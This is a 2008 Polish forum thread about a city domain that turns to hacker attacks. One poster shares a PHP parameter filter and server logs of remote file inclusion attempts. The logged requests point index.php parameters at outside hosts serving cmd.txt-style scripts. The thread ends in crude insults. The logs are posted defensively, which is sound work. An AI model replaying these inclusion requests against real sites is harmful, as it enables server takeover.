krzychoo74 18.04.08, 06:35 Kto ukradł domenę floatinggarden.pl i inne !!! - Mam nadzieję, że miasto zadbało o to aby być ich właścicielami aby potem się nie okazało, że działa tam np. kasyno internetowe lub strony porno. Krzysztof Odpowiedz Link Zgłoś czytaj wygodnie posty
Gość: .. spokojnie szn jest ownerem IP: *.neoplus.adsl.tpnet.pl 18.04.08, 10:42 REGISTRANT: company: Gmina Miasto Szczecin street: Plac Armii Krajowej 1 city: 70-456 Szczecin location: PL handle: hmns172234 Odpowiedz Link Zgłoś
Gość: zona.pijaka Ataki hakerów IP: *.google.com 18.04.08, 10:57 Zaatakowano serwery kancelarii premiera a poprzednio min. pracy: wiadomosci.wp.pl/wiadomosc.html?kat=1342&wid=9869916&rfbawp=1208506209.374 Chcę poinformować was że w ostatnich dniach również zaatakowano serwery do których mam dostęp. Dla ciekawskich analityków wyciąg z logów, oraz adresy serwerów-zombies które brały udział w atakach: ---------------------------- I tak np: contactcraze.com/tanii?????? wkleja kawalek kodu www.icil.co.nz/cmd.txt? wkleja inny kawalek kodu. itp: Dla wszystkic posiadaczy stron w Internecie podaję gratisowp poniżej krótką receptę na zablokowanie dopisywania http do adesów w atakach typu denial dos: ? $a=array("id","mode","PHPSESSID"); $b=array("http"); foreach ($_GET as $key => $val){ $ok=0; foreach ($a as $val2){ if ($val2==$key){ $ok=1; break; } } if (!$ok){ die(); } $ok=1; foreach ($b as $val2){ if (!(strpos($val,$val2)===false)){ $ok=0; break; } } if (!$ok){ die(); } } ? Dla wyjaśnienia, w miejscach 'id', 'mode' dopisać wszelkie inne koncowki po index.php? istniejące w serwisie. Natomiast "http" dla odmiany zabija kazde wywołanie z dopisanym zewnętrznym adresem http, serwerem. ------- A oto przykładowy wyciąg z logow: 2008-03-20 19:31:20|212.223.22.30|TE, close|||libwww-perl/5.800||/index.php?strona=www.esoterium.de//smile-i.gif??|1 2008-03-30 19:39:21|216.145.5.42|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxxx|/|1 2008-04-05 11:15:07|65.199.34.69||||||/|1 2008-04-06 16:28:08|64.246.165.50|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxxxx|/|1 2008-04-12 8:11:01|62.75.143.93|TE, close|||libwww-perl/5.803||//index.php?strona=contactcraze.com/tanii??????|1 2008-04-12 8:28:15|195.155.232.37|close|||Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)||//index.php?strona=www.marcokrasenberg.nl/images/resp.txt???|1 2008-04-12 8:28:53|85.17.6.6|TE, close|||libwww-perl/5.79||//index.php?strona=contactcraze.com/cmd-a.txt???|1 2008-04-12 13:49:13|78.111.108.101|TE, close|||libwww-perl/5.810||//index.php?strona=dt-support.com/hcl/id.txt???|1 2008-04-12 13:49:14|78.111.108.101|TE, close|||libwww-perl/5.810||//index.php?strona=dt-support.com/hcl/id.txt???|1 2008-04-12 14:08:24|200.180.216.43|close|||libwww-perl/5.803||//index.php?strona=dt-support.com/hcl/id.txt???|1 2008-04-13 16:47:47|64.246.165.210|close, TE|en-us,fr-be;q=0.5||SurveyBot/2.3 (Whois Source)|www.whois.sc/xxxxxxxxx|/|1 2008-04-16 21:46:40|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=38&PHPSESSID=d6436b80a236e6822f0d8b7694ee485a/index.php?id=www.icil.co.nz/cmd.txt?|1 2008-04-16 21:46:41|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=www.icil.co.nz/cmd.txt?|1 2008-04-16 21:46:43|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php|1 2008-04-16 21:52:11|64.118.90.4|TE, close|||libwww-perl/5.811||/index.php?id=40/index.php?id=www.icil.co.nz/cmd.txt?|1 2008-04-02 23:36:37|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php|1 2008-04-02 23:36:38|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.math.science.cmu.ac.th%2Flms%2Flib%2Fadodb%2Fpear%2Fnoxifi%2Fezogan%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0 2008-04-02 23:36:39|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.urlaub-reisen-privat.de%2Fjackass-world%2Fforum%2Fimages%2Favatars%2Fidiz%2Fulasoq%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0 2008-04-02 23:36:39|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=http%3A%2F%2Fwww.boomerbible.com%2Finstapunk%2FMType%2Farchives%2Fajuq%2Fpiy%2F&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0 2008-04-02 23:36:42|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.pattibus.it%2Fphplib-7.2b%2Fpages%2Fgodot%2Feridehi%2F|1 2008-04-02 23:36:41|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.qualitas1988.com%2Fupload%2Finterswitchnigeria_com%2Fdovi%2Fduq%2Fanesesu%2F|1 2008-04-02 23:36:42|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=http%3A%2F%2Fwww.zetesis.biz%2FLMR%2Fade%2Fzupe%2F|1 2008-04-02 23:36:43|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|67.210.96.142||/index.php?lgchg=2&PHPSESSID=6c103a095eb7c3dc0d8433d16c6c917c|0 2008-04-03 1:27:09|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php|1 2008-04-03 1:27:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fwww.agv-schaafheim.de%2Fgallery%2Fdata%2Fmedia%2Fnexa%2Fzevela%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0 2008-04-03 1:27:14|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fsites.redskycreative.com%2Fcanyonlakechurch%2Fjolalu%2Fbuq%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0 2008-04-03 1:27:13|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=http%3A%2F%2Fwww.polisgrandhotel.gr%2F_cm_admin%2Fmaillist%2Feditor%2Fplugins%2Fcore%2Fdialogs%2Fqunik%2Futanac%2F&PHPSESSID=1a5370d5bcd3c175cf75467100124cf4|0 2008-04-03 1:27:14|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fwww.elettrodataservice.it%2Ffoto_articoli%2Fpivafof%2Foqonon%2F|1 2008-04-03 1:27:15|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fsinzinuri.com%2Fimsi%2Fdb%2Fpic%2Fhuv%2Fabey%2F|1 2008-04-03 1:27:16|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|66.38.130.200||/index.php?lgchg=3&PHPSESSID=http%3A%2F%2Fwww.agv-schaafheim.de%2Fgallery%2Fdata%2Fmedia%2Fnexa%2Fzevela%2F|1 2008-04-03 5:44:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|87.229.24.63||/index.php|1 2008-04-03 5:44:10|Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)|87.229.24.63||/index.php?PHPSESSID=http%3A Odpowiedz Link Zgłoś
Gość: DoraKlo Re: Ataki hakerów IP: *.neoplus.adsl.tpnet.pl 18.04.08, 11:11 Co śmieciu zrobiłeś już sobie wszywę Odpowiedz Link Zgłoś
Gość: zona.pijaka Szczyt idiotyzmu IP: *.google.com 18.04.08, 11:25 Razem z adminem walic konia (robic laskę) temu "gryfu". Albo tak go ściskać żeby się zesr.ł. Odpowiedz Link Zgłoś
Gość: fenix Re: Szczyt idiotyzmu IP: *.neoplus.adsl.tpnet.pl 18.04.08, 12:49 hmmm... kulturalnie widzę informatycy sobie przygadują ;) Odpowiedz Link Zgłoś